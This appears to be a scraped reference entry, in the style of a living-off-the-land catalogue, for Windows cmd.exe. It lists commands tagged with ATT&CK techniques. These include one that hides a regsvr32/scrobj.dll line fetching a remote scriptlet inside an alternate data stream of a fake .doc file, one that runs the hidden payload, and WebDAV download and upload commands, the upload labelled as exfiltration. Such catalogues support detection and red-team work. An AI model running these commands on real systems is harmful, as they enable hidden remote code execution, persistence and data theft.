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Alternate data streams
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The command-line interpreter in Windows


Paths:

Resources:
Acknowledgements:

Detection:

Alternate data streams

  1. Add content to an Alternate Data Stream (ADS).

    cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1218.010/src/RegSvr32.sct ^scrobj.dll > fakefile.doc:payload.bat
    Use case
    Can be used to evade defensive countermeasures or to hide as a persistence mechanism
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

  2. Execute payload.bat stored in an Alternate Data Stream (ADS).

    cmd.exe - < fakefile.doc:payload.bat
    Use case
    Can be used to evade defensive countermeasures or to hide as a persistence mechanism
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1059.003

Download

  1. Downloads a specified file from a WebDAV server to the target file.

    type \\webdav-server\folder\file.ext > C:\Path\file.ext
    Use case
    Download/copy a file from a WebDAV server
    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105

Upload

  1. Uploads a specified file to a WebDAV server.

    type C:\Path\file.ext > \\webdav-server\folder\file.ext
    Use case
    Upload a file to a WebDAV server
    Privileges required
    User
    Operating systems
    Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1048.003